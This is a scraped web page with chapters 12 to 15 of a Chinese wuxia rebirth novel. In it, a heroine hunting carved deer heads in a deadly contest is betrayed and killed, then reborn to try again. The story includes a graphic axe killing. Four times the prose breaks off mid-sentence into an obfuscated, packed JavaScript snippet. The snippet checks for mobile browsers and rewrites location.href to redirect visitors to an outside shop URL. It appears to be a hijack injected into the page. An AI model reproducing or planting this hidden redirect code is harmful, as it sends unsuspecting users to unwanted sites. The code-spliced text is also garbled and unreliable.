l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200932|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的林霁荷一动也不敢动。 雷承璟连弓箭也不敢拔了,僵在原地,道:“戚姑娘,你要小心啊。” 戚研商无视两人径直向那坟包走去,走近了才知这声音为何如此熟悉。 她蹲下来用手拨弄上面的尘土,发现效果甚微,于是站立起来,运用内力,用力击打坟包。 轰—— 坟包立刻四分五裂,而在坟里灰头土脸的并不是什么僵尸王,而是刚才一直没回来的童疏田。 “童大哥,你为何在此?”戚研商蹲下帮他拨开掩埋着半身的泥土,感觉有点难以置信。 童疏田大口呼吸着新鲜空气,一边拍打着尘土,道:“咳咳……你让我先出来,真是要人命啊……” 他喘了几口,继续道:“还好你来得及时,不然我就真的要命丧于此了。” 戚研商向着后方还僵持着的两人,挥了挥手,那二人见这僵尸竟然是童疏田,赶紧一路小跑赶了过来。 在几人的努力下,总算把童疏田从土里拔了出来。 林霁荷已经忘记了她刚才害怕的模样,看着狼狈的童疏田打趣道:“这生前能有一回死后的体验,也是乐哉。” “乐哉?”童疏田气得要冒火,“你试试被埋进土里呢?” “童大哥,你这才离开一会,怎么就被埋得这么深?是谁干的?”雷承璟问。 童疏田叹了口气,道:“我还真不知道是谁干的,刚才过来小解,可能尿人家坟上了吧,有人在后面给了我一棍子,醒来的时候就在土里了。” “完了,你惹到鬼了!”林霁荷装作害怕的样子。 戚研商看了看他的后脑勺,确实有一处鼓起来了:“不怕,这鬼本事不大,还得用武器才能伤人。” 若是他们能早一点来坟地,或许就可以看到凶手了。 还好那凶手没有下死手,只是把他埋进了坟里,逃过一劫。 “你尿在哪个坟头了?”戚研商问。 可能那一棍子打的童疏田有些失忆,他只道:“我忘了。” “问这个做什么?”林霁荷问。 戚研商指了指雷承璟背着的包裹,道:“那人或许是在这里找木雕,攻击童大哥是为了先下手为强,后来因为某种原因,还没有找就离开了。” 可以说童疏田挨打着实有些冤枉,他只是上个厕所而已。 雷承璟蹲下,观察着刚刚童疏田躺进的坟包,里面空空如也,又起身看了看其他的坟头,道:“这个地方能装下童大哥,且旁边也没有被丢弃的尸首,说明这是个空坟。那其他的坟,也极有可能是空的。” 戚研商点点头,道:“那人应该一开始先挖了一个坟,发现没有东西,这时候童大哥来了,以为是来抢木雕的,就把他打晕了埋在坟里,他只是没想到雷大哥并不是一个人,以为埋了就解决掉了。” 这样倒是还算是说得通。 “那我们现在要怎么办?”林霁荷看向三人问道,她有一种不好的预感。 “挖坟啊。”戚研商道。 12. 掘地三尺 林霁荷苦笑了一下,道:“这不太好吧,万一真有人埋在这里呢,要是叨扰了人家,会不会半夜来找我啊……” “有句话说得好,没做亏心事,不怕鬼上门。”雷承璟道。 “那我们挖人家的坟,算不算亏心事?”林霁荷认真的问。 戚研商见她如此害怕,也忍不住调笑起来:“那肯定算亏心事啊,不过你放心,我们晚上一起见鬼,我冲锋,你躲后面便是了!” “不就是挖个坟嘛,我来我来!”童疏田摸了摸后脑勺的包,感觉问题不大,立即起身,“这个我擅长!” 林霁荷感到不可思议,什么样的人会擅长挖坟? 她上下打量了童疏田一番,问:“童大哥,你究竟是做什么的?” 童疏田扛起斧头,不好意思地笑道:“那祖上可是挖坟盗……哎呀这可不能说!妹子,你稍微意会一下!” 说罢便拿着斧头当铲子用,开始挖坟。 见他挖的起劲,其他人便对视一眼,跟着开挖,可是没有合适的工具,于是按照刚才戚研商运用内功击开坟包,一个两个还行,可是这里的坟头太多了,一会便累得不行,最后只好用手慢慢刨坟。 没多久每个人都变得灰头土脸。 不过好在暂时没冒犯到任何人。 戚研商连挖了几个,都是空的,她环顾四周,发现其他人挖出的大多也是空坟,偶尔有几个是被填满了稻草。 “怎么回事,都是空的。”林霁荷有些无语,她担心了好半天,结果没有一个是真正的坟。 “是不是咱们想多了?这里什么都没有啊!还是说那个打我的人已经把东西拿走了?”童疏田虽然号称专业,仍然累的够呛,他将斧头杵在地上,大口喘着气。 “快,快来,这里有鹿头!”林霁荷挖着挖着,突然发现了东西,大叫道。 “找着了?”雷承璟迅速丢下自己的坑,小跑到林霁荷身边,看了一眼后,却没有说什么。 戚研商闻言,放下挖了一半的坟,也跑了过去,低头一看,林霁荷说的没错,坑里确实有一个鹿头。 可是这并不是木雕鹿头,而是一个真正的鹿头。 鹿头在这里埋的时间并不长,上面还剩下未完全腐化的皮肉,紧紧黏着在骨头上,散发着一种难以言喻的恶臭。 雷承璟冷声道:“你这完全就是欺骗。” 童疏田还没走过来就闻到了腐臭,远远地看了眼,又走了回去,道:“估计是那人也挖到了这个玩意,就没继续挖,还给埋了回去,这也太难闻了。” “这鹿头总不会无缘无故放在这里,你的剑借我一用。”戚研商捂着鼻子向坑中看了几眼,转头对林霁荷道。 林霁荷有些不情愿,还是把佩剑递给了她。 戚研商用剑轻轻挑动坑下的鹿头,将它转动了一点方向,随即将剑身插入缝隙中,用力一挑,将鹿头给挑了出来。 鹿头受力从坑中飞起,落在了林霁荷的脚边,她立刻后退了两步,问:“小商,这确实是真鹿头,可它不是木雕,带着没用吧?” 戚研商蹲下,坑中鹿头所在的位置极为平整,下面应该还有东西,她直接伸手拨弄潮湿的泥土,不出意外,下方果真藏着一个木质的盒子。 雷承璟见状,也蹲下与她一起挖。 很快便将盒子挖了出来,打开一看,里面放着一个鹿头木雕。 “竟然真的藏在这里!”林霁荷踢开地上的鹿头,上前将盒子里的木雕取了出来,看了看,又交到戚研商手里,“我觉得这个是真的,你快看看!” 戚研商拿在手中翻看,按照记忆力的样子比对,她点点头道:“这个是真的,现在我们只差一个了。” “哎呀,都亏了我才能这么顺——呃——什么人!”后方传来童疏田的声音,他话说到一半却被打断,三人立刻回头。 只见童疏田跪在地上,被一人狠狠踩在脚下,那人一手抓住了他的胳膊,另一手正提着童疏田的斧头。 童疏田奋力挣扎,却毫无用处,那人的力气比他大得多。 雷承璟立刻取下弓箭,这一次,他拉满了弓弦,却不敢轻举妄动。 只因那人的斧头已经架在了童疏田的脖颈处。 “哟,这不是雷公子吗,真巧啊!哈哈!”那人五官狰狞地大笑道,他长得比童疏田还要壮硕,看起来年纪并不大。 雷承璟神色微变,仍保持着拉弓的姿势,他的声音是未见过的凶狠:“雷承宁……你想要做什么?” 这两人……是兄弟……? 戚研商下意识地去对比两人的长相,眉眼间仅有一丝相似,很难看出有血缘关系。 “做什么?这还用问吗?”雷承宁用下巴点了点戚研商手中的木雕,“你忘了你来这里是做什么的?” “你们别管我了,快跑!”童疏田打断二人对话,大喊道。 雷承宁立即将手中的斧头指向了童疏田:“谁允许你说话了?刚才只是埋了你,让你逃过一劫,现在还想死是吗!” 雷承璟仍旧不敢动,拉弦的手有些微微颤抖:“雷承宁,在这里生死由命,你没资格管着我!” “是吗?那你说,谁有资格?是这个傻大个?还是你身后那两个姑娘?”雷承宁轻蔑道。 戚研商一手还抓着剑,她虽然并不熟练,但是还是曾有修习过剑法,正欲抬手,林霁荷立刻按住了她,冲她摇了摇头。 那斧头距离童疏田的脖颈越来越近,跪在地上的童疏田难以开口,一直用嘴型说着“快跑”。 “哼,你怎么不说话,你一个外室的儿子又有谁瞧得起?”雷承宁脚下又用力几分,童疏田几乎要趴倒在地。 “我不是……”雷承璟挤出几个字。 雷承宁又狞笑起来,他的表情极为夸张,眼睛几乎眯成了一条缝:“不是?也不知道是哪来的野种,就带着你那半死不活的老娘,上门求我们收留。还是爹心善,留下你们来路不明的母子,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200933|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然也不知道现在去哪里要饭了!” “才不是来路不明……”雷承璟的双手颤抖得十分厉害,语气越发凶狠,“是你爹为了我家的独传武功秘籍,将我娘欺瞒了整整八年,你们盗取了秘籍,为了销毁痕迹,将我娘的族人全部杀害,还伪造成他们是争夺家产互相残杀……若不是我娘重病不起,为了让我有所依靠,怎么会重新投奔你家!” “那就有骨气一点,报仇啊!”雷承宁满脸得意,“现在就可以!只不过,你那老娘,还需要我爹找神医吊命呢!” 原来雷承璟真的不是雷小公子,怪不得他听见“公子”儿子会如此激动,不过这两人为何会一起参加比试,戚研商紧握着剑柄,神经紧绷,下一刻,她就知晓了答案。 “那你想怎样?这里找到的鹿头木雕,给你便是了!”雷承璟终究还是服软了。 可是雷承宁并不打算如此,他又开始狂笑:“哈哈哈……给我便是了?我就是这么好打发的吗?接下来,你还要跟着你这三个蠢货一起找鹿头,一起胜利?” “好。”雷承璟说着放下了弓箭,"你放了他们吧,爹说了要保护你,我会跟着你的。" “嗯,那就乖了。”雷承宁满意地点点头,可他的握着斧头的手却没有松懈,“但我是不会放过他们的。” 说罢雷承宁高举斧头,冲着童疏田的头砍了下去,那速度极快,只听见咚的一声,大量的红色液体洒落在地上,也染红了雷承宁的衣衫,一个不规则的圆形物体掉落在地,滚了两圈停下,那是童疏田的头颅。 “不——雷大哥——”林霁荷即刻冲了出去,她不敢相信眼前的事实,一瞬间忘记了还处在危险之中,只想去看看刚才还在开着玩笑的童疏田。 戚研商虽比林霁荷冷静三分,可她的大脑也在这可怕的场景中变得混沌,跟着林霁荷冲了上去,可是她仅仅只是慢了一步,就再一次见到了鲜红的液体。 雷承宁的斧头狠狠劈在了林霁荷的身上,顿时鲜血四溅,喷了戚研商一身,甚至将她的视线都遮挡住了,湿热的液体从她的脸颊流下。 戚研商感到双腿发软,身前的林霁荷正好瘫倒在她怀里,戚研商无法站住,摔倒在地。 她抱住林霁荷,用手不断地捂着她的伤口,那裂缝极大,无论按在哪里,都无法阻止流出的鲜血。 雷承宁却没有劈第三下。 他冲着站在后面的雷承璟道:“这第三个,你来吧。” “我……”雷承璟无法下手。 “我听说啊,神医马上就要退隐江湖了,也不知道他那些可治百病的方子,能不能够流芳百世。”雷承宁看着眼前血腥的场景,好似看了一出戏,他的语中带着一丝轻薄。 雷承璟沉默许久,再次举起了弓箭,轻声说:“对不起。” 对不起谁? 戚研商有些恍惚。 下一刻,一个尖锐的物体穿透了她的身体。 “戚姑娘,对不起。”雷承璟道。 13. 紧急避险 怎么会是对不起? 戚研商被箭贯穿,失力倒地,压在林霁荷的身上,她看不见身后雷承璟的面容。 虽早已知晓雷承璟疑点重重,可这一切发生的还是太过突然,太过离奇。 他明明有两个选择,那一箭射向雷承宁是最优解,雷承宁若是死了,雷家只剩一个公子,以后也不会有人再凌辱他。 为什么中箭的会是她呢…… 戚研商渐渐感受不到疼痛,意识像是被剥离出了身体,视线慢慢模糊了。 只见四周薄雾渐起,原本荒芜的坟地突然变得郁郁葱葱,眼前的雷承宁身影逐渐模糊,化成一棵树,那些石碑也破土而出,长成高大的树木,这里成了一片森林。 戚研商将手伸向胸口,将那支箭轻易地拔出,受伤的地方瞬间愈合。 她缓缓起身,向着前方走去,那薄雾中渐渐出现一个女人的身影。 是零境。 “又见面了。”远方飘来幽幽一声。 戚研商有千万的问题想要问她,可到了嘴边只剩下一句:“是的。” “我知道你有很多疑惑,但很抱歉,我只能帮助你重生,无法告诉你任何其他的事情。”零境的声音仍旧冰冷,仿若洞察一切。 戚研商沉默片刻,还是开口发问:“有一件事,还是希望你能告诉我,这应该不是什么大不了的事情。” “你问吧。”零境道。 “这次我早早到达,没有住进“贰拾捌”号房。可是却出现了另一个迟到的人,占据了那个房间,他死了,是替我而死吗?”戚研商很在意此事,她不知道是否因为她的选择,直接导致了一个无辜的人丢掉性命。 灵境给出了一个模糊的回答:“是也不是。” “什么意思?”戚研商想要知道确切的答案。 “世间万物从来不是一成不变的,现在的你,既不代表过去的你,也不代表未来的你。你过去的抉择会影响过去,现在的抉择会影响现在,未来的抉择就会影响未来。你重生了,你所在的世界也重生了。”零境虽然说的泛泛,可近乎给出了问题的答案。 戚研商回想起在正厅时与林霁荷的两次对话,她是同样的热情明媚,却并没有对她提出同样的问题。 这并不是戚研商早到所导致的结果,而是林霁荷真的改变了想法。 戚研商原以为只有自己重生,其他人还会按照原有的“剧本”继续进行下去,可是现实却是,他人也会因为世界重启,而有所变化。 这意味着每一次重生,她要面对的仍旧是未知的变数。 戚研商感激道:“我知道了,谢谢你,零境。” “是我多言了,是时候该走了,祝你成功。”零境似乎说了些不该说的,她匆匆道别,随后消失在树林中。 一丝困意涌上心头,戚研商知晓她又要重生了,她盘腿坐下,轻轻闭上了眼睛。 —— 醒来时又回到了熟悉的武馆。 戚研商站在屋外,太阳的炙烤让她感到有些眩晕,可她却无比珍惜这一刻。 一旦离开武馆,就意味着那场残酷的厮杀开始了。 这次她在武馆多呆了会,仍旧是叫了辆马车赶往客栈。 到达客栈时,与第一次来的时间几乎相同。 小二在客栈中仍旧忙得焦头烂额,戚研商却一点都不急,她只在柜台旁静静地站着,等着掌柜归来。 这一举动,反而引起了小二注意,毕竟这个客人是个新面孔。 “这位客官,是来吃酒,还是小住?”小二凑近问道。 戚研商不知那暗语对小二说是否有用,只道:“你且忙着,我等你们掌柜。” 这话一出,小二还以为戚研商是来找茬的,连忙给她搬了个凳子坐下,道:“我们这正规小店,明码标价,从不欺客!” “是吗?那我想问问你,一百文的中等房,一日有几人来住?”戚研商略加思索,问道。 那小二的神色有那么一瞬间的惊讶,随后只是摆摆手:“有空便可住,未有算过一日几人。” “那要是住满了,该如何?”戚研商继续问道。 小二的眼珠咕噜地转了两圈,正想着怎么回答,此时掌柜回来了,他赶紧脱身,道:“客官,掌柜的来了,您这有什么要求,都找她吧。” 掌柜走过来,表情有些难看,对着小二道:“那么多客人在等,你还在这里和客官聊天,不想干了吗?” 小二应了声,连忙走开,掌柜转而看向戚研商,立即扬起了笑容,道:“房满了,只能请回咯,不过客官,现在这房间还有位置,您想住,就请跟我来。” 戚研商跟着掌柜上了楼,果然进的是第一次住的房间。 掌柜即将离开时,戚研商叫住了她:“麻烦,晚饭早点送。” 掌柜先是一愣,随后若有所思地道:“可以。” 等待的时间有些焦灼,戚研商不知她的这句话能否将纸条上的字进行改变。 小二终于将餐食送上,她迫不及待地找出了纸条与玉符。 那纸条上写着——亥时三刻。 竟然真的如她所想,赴约的时间改变了,既比第一次要早,也比第二次晚。 这样她到达时,便是已经迟到,可也不至于到了散场之时,只是还不知上次那个住进“贰拾捌”号的人是否还会再出现。 到了时间,戚研商又骑上了客栈的马前往破庙。 那两位黑衣如期而至,确认了戚研商的身份,将她抬到轿子上。 “我有一问,能否解答?”上一次黑衣人并未拒绝她,戚研商便试试问下其他的问题。 其中一位黑衣人嗯了一声:“问。” 这回答比上次简洁不少,然而戚研商无法判断这三次碰到的黑衣人是否是相同的。 “听闻今日将设迎接宴,可你们给我定的时间这么晚,我还能赶得上吗?”戚研商近乎质问,她心中已知晚到的人将错过了解规则,势必成为第一颗落败的棋子。 黑衣人片刻才答:“赶不赶得上,你都要参加,不是吗?” 戚研商此时确认了,“贰拾捌”号,就是用来证明规则的房间,无论是谁,死亡是必然。 转眼便来到了熟悉的府宅邸前,戚研商抬手,直接推开了大门。 庭院不似之前那般安静,戚研商正巧赶上了分房之时。 不断有人从正厅出来,被小厮带入黑暗里,无人理睬刚从大门进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200934|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的戚研商。 人群中,戚研商发现有一个熟悉的身影,正逆行向着正厅走去,那人正是不知为何,从房间折返的林霁荷。 虽然此时的林霁荷并不认识戚研商,她仍旧一步上前,伸手拦住了林霁荷。 林霁荷有些惊愕地问道:“姑娘,你是……” “叨扰了,”戚研商拱手作揖,“我来晚了,看姑娘好像要进去,能否帮我引荐呢?” 林霁荷明白了她的意思,摆了摆手道:“误会了,我也是来参加比试的,别担心,我带你进去找人。” 说罢,牵起戚研商的手进了正厅。 刚进门,戚研商便一眼瞅见了荀惜维,他竟然还没走。 两人走到荀惜维前,林霁荷开口道:“荀大人,这位姑娘说来晚了,没赶上宴会,能否安排一下呢?” “无事,我这里有一把多余的钥匙,林姑娘,你是住在哪间?”荀惜维从袖口拿出了一把钥匙,戚研商接过一看,果然没有木牌,这把钥匙就是属于“贰拾捌”号的, 林霁荷答道:“贰拾号,怎么了?” “正巧,这姑娘的房间便是在与你一排的最里侧,麻烦林姑娘给她带路了。”荀惜维欲要抬手送客,忽然想起了什么,接着道,“林姑娘,这么晚了,来大厅做什么?” “哎呀,差点忘了,荀大人,我刚才在外面捡到一把匕首。”林霁荷挠挠脑袋道。 捡到匕首?戚研商想起第一次被刺,那胸口感应到的尖锐物体,应该就是一把匕首。 虽然不知林霁荷为什么傻乎乎的要将匕首归还,但是再回想上次与林霁荷一起回房,中途没有捡到任何东西,最后发现隔壁房间的人是窒息而亡,而不是被刺,很有可能是因为上一次匕首没有被交给荀惜维。 难道那夜刺杀她的正是这位荀大人,可是无论是从身型亦或是声音,都不相同。 更何况他作为这里的管事,想要什么兵器都有,不可能因为没有匕首就放弃使用其他武器。 荀惜维接过匕首道:“林姑娘倒是十分遵守规定,多谢。”之后便将匕首随意地放在一旁的桌上。 看到这一幕,戚研商恍然大悟,猜测这凶手应是参加比试的一员,因为所有人都无法带上自己的兵器,那人只有拿走桌上的匕首,才有武器去杀人。 “这位姑娘,我们走吧。对了,我来自陀城林家,名叫林霁荷,还不知道姑娘姓名?”林霁荷转而对戚研商道。 “戚氏武馆,戚研商。”戚研商答道。 林霁荷笑道,牵起戚研商向外走去:“一看戚姑娘就与我有缘,走吧。” 两人离开了正厅,穿梭在黑夜中,林霁荷提着一盏小灯,边走边数着房号。 或许是因为走了两次,戚研商也对这里熟悉起来,她感觉自己已经靠近那间“贰拾捌”号房,似乎在冰冷的空气中嗅到了死亡的味道,心脏猛然地剧烈跳动起来,她要想办法避开危险。 “这里是我的房间,贰拾号,你的还在前面。”林霁荷路过自己的房间,停顿了一下,向戚研商介绍到道,继而继续往前走去。 而戚研商却停下了,她轻轻拉住林霁荷的衣角,道:“我一个人害怕,能否在林姑娘的房间借宿一晚?” 14. 一封遗书 林霁荷有些惊讶,提着灯笼转身,走了回来。 她拿出钥匙将门打开,道:“可以啊,只是不知那床是否可以睡下两人。” “多谢林姑娘,床睡不下,我打地铺也可以。”戚研商内心有些愧疚,对于她而言,她们已经是熟悉的朋友,而对于林霁荷来说,自己则是完完全全的陌生人。 正如她们第一次见面,林霁荷便没有设下任何防备。 这个请求,完全是戚研商为了自己的自私行为。 林霁荷却不知这一切,她只觉得这个姑娘看着挺冷静,怎么比她还要胆小,怪可爱的。 林霁荷欣然推开门,用灯笼的烛火,将桌上的油灯点燃,邀请戚研商进屋。 戚研商进来后反手将门关上,她将角落的油灯一一点亮,发现屋内的摆设与她住过的那两间并无区别。 “还好柜子中备着各种尺寸的衣服,不然今晚住在这里,就没得换了。”说着,林霁荷打开柜子,在里面翻找着。 翻找了半天,林霁荷才取出一件里衣,在戚研商身前比划着,有些遗憾:“啧,你我身形相似,这里没有配备两件相同的衣服,我的穿过了,也不方便给你,只能委屈你穿这件大一点的了。” “无妨,明日天亮了,我去自己的房间换了便是。”戚研商接过里衣,换上后确实长了不少,她蹲下将衣角打了个结,再站起来,长度便是正好了。 “戚姑娘真聪明,这样就刚刚好。”林霁荷夸奖道。 房间的床可以睡下一人有余,但是两个人就有些挤。 林霁荷本着不能亏待客人的原则,坚决要自己睡在地上,让戚研商去床上睡。 但是戚研商本就有些内疚,也不好意思上床睡。 最后两人都没有睡在床上,她们将床单铺在了地上,这下足够挤下两人了。 这一夜,戚研商睡得十分安稳,尽管躺在地上又冷又硬,可是不用担心有人会半夜刺杀了。 第二日,戚研商前去自己的房间换衣服,林霁荷也紧跟身后。 刚走到门口,那场景着实有些可怖,林霁荷立刻爆发出叫声:“你的门怎么成这样了!” 这声音引来了一堆人看热闹,只是他们站的远远地,或许是怕受到牵连,没有一个人敢向前。 戚研商看着门前一片狼藉,略微皱眉,房间的窗户被捅穿了好几个洞,门板也被劈开,倒在一旁。 那个凶手果然来了,只不过这次是空手而归,“贰拾捌”号房内空无一人。 戚研商移开门板,直接进了屋子,她先将桌子翻了个遍,没看到那块刻着“贰拾捌”的牌子,被凶手拿走了。 “这……戚姑娘,还好昨晚你是害怕没过来,不然……”林霁荷只在外面着急地跺脚,不敢进来。 这里除了门窗,以及被带走的牌子,其他地方还完好无损。 戚研商打开柜子,将尺寸合适的衣服取了出来,又去取了些洗漱用品,最后像上次一样,拿了一些火折子。 她抱着一堆东西走出房间,对还处在惊恐状态的林霁荷道:“不好意思,之后只能一直麻烦你了,我这里恐怕是不能住人了。” 林霁荷连忙伸手帮她接过东西,随后挽起她的胳膊就往回走:“这太恐怖了,此地不宜久留,我们先回去。” 其他人见没有热闹可看,也散开了。 回了贰拾号房,戚研商将衣服换好,便到了集合的时间。 林霁荷仍旧十分害怕,直到两人蒙眼上了马车,也一直抱着她的胳膊不放手。 到了地方,下了车,林霁荷才终于放开手。 荀惜维举着鹿头,再次开始讲解比试的内容,戚研商懒得去听他说了什么,等到木雕到手后,再一次仔细翻看了一遍。 这木雕拿在手中,感觉沉甸甸的,她猛然想起,在那地下室中找到的两个木雕,相比之下竟然轻了不少。 可是外表上几乎一致,甚至地下室里的雕刻更为精细。 难道地下室的木雕,是假的吗? 但是戚研商不能确定,重量是否也是判断真假的方式,在坟地中找到的木雕,也比手中的真品轻一些,只是差距不大。 她将木雕交由下一个,开始观察在场的人。 童疏田站在不远处,这次他们并不相识,无法结伴了。 远处可见雷承璟与雷承宁两兄弟,雷承宁一脸跋扈的样子,在说着什么,雷承璟站在一旁低着头,看起来和戚研商第一次见到的他判若两人。 忽然,戚研商一抹余光瞥见两兄弟身后,站着一个人,身影有些眼熟。 她踮起脚尖,探头去看,那人,好像就是上一次死于“贰拾捌”号房的。 由于戚研商占据了那个房间,这个人竟然免于一死,她有些庆幸救了此人一命。 “小商,你在看啥呢?”林霁荷见戚研商东张西望,也跟着去看,并没有发现什么特别的东西。 戚研商摇摇头,道:“没什么,我在看这里人的长相,有没有难对付的。” 林霁荷笑道:“你还会看面相呢?那帮我看看,我是怎么样的人?” “嗯……你嘛……一看就是一个温柔善良的好姑娘。”戚研商假装分析道。 林霁荷眯起眼睛,将双手背在身后:“不不不,我才不是什么好姑娘,其实我……” 她突然伸出双手,捏住戚研商的脸,把戚研商吓了一跳:“其实我是江湖第一杀手,看我的眼神,冷酷!” 戚研商反而伸手去挠她的胳肢窝,痒得她立刻收手:“你看我找到第一杀手的破绽了!” 林霁荷被挠得哈哈大笑。 “马上比试开始了,还有闲情在这玩闹?不过也好,等进去了,朋友变敌人,看能不能还这么开心。”远处的荀惜维忽然开口,顺着声音看去,他正盯着二人,嘴角扬起诡异的微笑。 毛骨悚然。 两人赶紧恢复了正常状态,假装一切都没有发生。 荀惜维便没有再看二人,他拿回了木雕,将规则与提示一一道来,这次仍有许多没有仔细观察木雕的人,引来一阵哀嚎。 围猎场的门再次打开,相比第一次的茫然,戚研商心中早已做好计划。 比试刚开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200935|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始,戚研商立刻拉着林霁荷在单门附近躲了起来,她需要先去找那个地下室,再看一次木雕,若是真品,两人之后只需要活下来,不用再去找了。 此时雷承璟应该也躲藏在附近,不过他还需要先看别人打架,因此她们先行一步,肯定能够拿到木雕。 按照雷承璟之前所言,果然在不远处找到了被树枝遮挡的坑洞。 两人小心翼翼跳了下来,此时还在早晨,使用火折子未免有些太浪费,戚研商只能勉强借着上方照射而来的光线,观察着这里。 戚研商在墙上,看到了刻着的那行“哪得卿顾,只消梦还”,雷承璟所言不假。 在角落处,放着一个盒子,打开便是那木雕鹿头。 她拿起木雕,确实如她记忆中的一般轻,但是从外表看,和真的完全一样,这到底是不是真品,戚研商一时无法判断。 “快来看,这里好像有一封信!”在旁边同样四处观察的林霁荷,从墙的夹缝中,发现了一封信件。 信藏得并不深,只是那一块受光较弱,比较难以发现。 林霁荷展开信件,戚研商也将头凑了过来,借着微弱的光线粗略阅览了一遍。 两人看完信后,默默将木雕又装回了盒子,放了回去。 正如戚研商所想,这里的木雕就是假的,不过并不是荀惜维他们所放置的假品,而是由参与者仿制雕刻的。 这是其实是一封遗书,上面写道,笔者在这里遇上了恋人,只是他们寻遍了所有地方,躲过重重危险,最终也没能找到真木雕,最后两人通过对木雕鹿头的回忆,还原了所有细节,恋人亲手雕刻了两个木雕,只是他们无法获得真品的木材,只能在这里使用劣质木头雕刻。 可惜的时候,两人外出找食物时,恋人不幸遇难,笔者失去了存活的意义,只留下了这一封遗书,与两个木雕。 “看来这木雕确实是假的,并且这里应该还有一个。”林霁荷看完信件后,推理道,“不过这遗书里的内容是否完全属实,还待商榷,毕竟写遗书的人是死是活,我们无从考究啊!” 戚研商沉思片刻,道:“或许在找食物的时候,这人就已经发现了真品,之后便将恋人杀死。所以最后两个木雕留在了这里,他并没有销毁掉,就是为了误导他人。” 林霁荷听得打了个寒颤,赶紧将信扔到了地上,仿佛是拿了一件什么秽物:“如果这是真相,那也太可怕了,还要写一封遗书来挽回肮脏的内心。” “还算有点良心,这封遗书也是一个提示,若是别人没有发现,那真要把木雕当真了。”戚研商说道,她突然想起上次雷承璟也拿走了这个木雕,当时他有没有发现木雕其实是假的呢? 当时雷承璟突然说出线索,让他们折返回到这里,说明他知道这里是还有一个木雕的。 也就是说雷承璟明明知道这两个木雕是假的,还是让他们带上了。 戚研商这下想明白了,那一箭怎么会是冲着自己的,原来雷承璟的计划就是借他们之手去找到真木雕,最后再抢走。 这两个木雕,竟然是雷承璟的投名状。 15. 从天而降 可戚研商还是有一点没能明白。 雷承璟与雷承宁的关系,是否真如她所见的如此恶劣,亦或者一切都是兄弟俩配合演的一出戏。 不过他们完全没有必要在将死之人前演戏,戚研商更加确信二人真的拥有不对等的关系,所以上一次雷承宁的出现,纯属是在雷承璟计划之外。 毕竟在围猎场外,她所见的二人站在一起的场景,比起兄弟,更像是主仆关系。 戚研商不动声色地将那封信又拾起,藏在了衣袖中。 此时林霁荷正在向那黑暗的甬道内张望,向前走了几步又退了回来,戳了戳戚研商道:“这下完了,上面在打架,前面又这么黑,进退两难啊。” “没事,我有这个。”戚研商将火折子掏了出来,“这里面墙壁上应该装了油灯,我们先向里走点。” 火折子带来的光源实在微弱,只将黑暗的甬道照亮了一点,不过也足够前行了。 两人并肩走了不久,便在墙上找到了挂着的油灯,点燃后,瞬间亮堂了不少。 林霁荷总算可以放开戚研商的胳膊,自己行走了,她四处观察着,突然停住脚步,道:“你看这面墙,是不是有点不一样?” 戚研商将油灯顺着她说的地方照去,正是藏有第二个木雕的房间的那面墙。 在里面走的太久,五感早已迷失,差点就把这个密室给忘记了。 “嗯,这里可能就是信上说的那第二个木雕所在地。”戚研商点点头,她在思考要不要给雷承璟留点线索,毕竟自己已经把信拿走了。 “既然是假的,那就算了,我们继续走吧,也不知道这个地方通向哪里。”林霁荷说着又继续向前。 “等等。”戚研商将油灯递到林霁荷手上,随即学着之前童疏田的方法,对这面墙灌输内力,不过她稍有保留,仅仅将墙留下了缝隙,便停手了。 这样的提示,应该十分清晰了吧!她闭眼,将手按在墙上轻轻划过裂缝,能够明显感受到这里有所不同。 即便雷承璟没有烛火,凭借触摸也能找到密室。 林霁荷看着她的所做的一切,一副若有所思的样子:“没想到你还会给对手制造点困难。” 戚研商接回油灯,笑道:“当然。” 两人继续前行,不知过了多久,终于走到了有阳光洒入的出口。 上方那个草织的垫子还完好无损的盖在洞口上。 戚研商大力将林霁荷托起,她爬了出去,俯身又将戚研商拉出来。 这一番操作,加上之前走了那么久的路,两人感觉有些累了,瘫倒在地上。 “我有点饿了。”林霁荷捂着肚子道。 戚研商回想起之前休息的茅屋,里面有好几个馒头,若是都拿走,能够勉强支撑两天,只是又要走很远的路。 权衡之下,戚研商还是打算放弃那个茅屋,赶过去早已饥肠辘辘,可能晕倒在途中,而到了明天,很有可能雷承璟已经先一步将茅屋搜刮,去那里也没有什么意义。 “你还记得荀惜维说的‘东边芦苇间’吗?”戚研商问道。 